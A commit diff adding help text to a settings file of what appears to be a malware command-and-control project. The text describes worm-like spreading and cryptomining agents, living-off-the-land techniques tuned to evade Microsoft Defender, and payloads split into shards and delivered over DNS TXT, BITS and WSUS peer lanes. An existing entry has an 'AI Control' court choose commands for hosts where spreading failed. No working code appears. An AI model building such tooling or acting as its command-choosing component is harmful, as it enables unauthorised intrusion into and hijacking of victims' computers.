Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/web/src/help/settingHelp.ts

@@ -38,6 +38,8 @@ export const FIELD_HELP: Record<string, string> = {
     'When one agent in a fingerprint bucket finds a winning spread+mining path, the server publishes a fleet phenotype. Sibling agents inherit tier_order and spread_lane on auth without re-forge — Access Depth and LOTL Timeline show "cloned from" badges.',
   failure_atlas:
     'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.',
+  erasure_lanes:
+    'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
   ai_court_session:
     'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
   calibration_ai_control: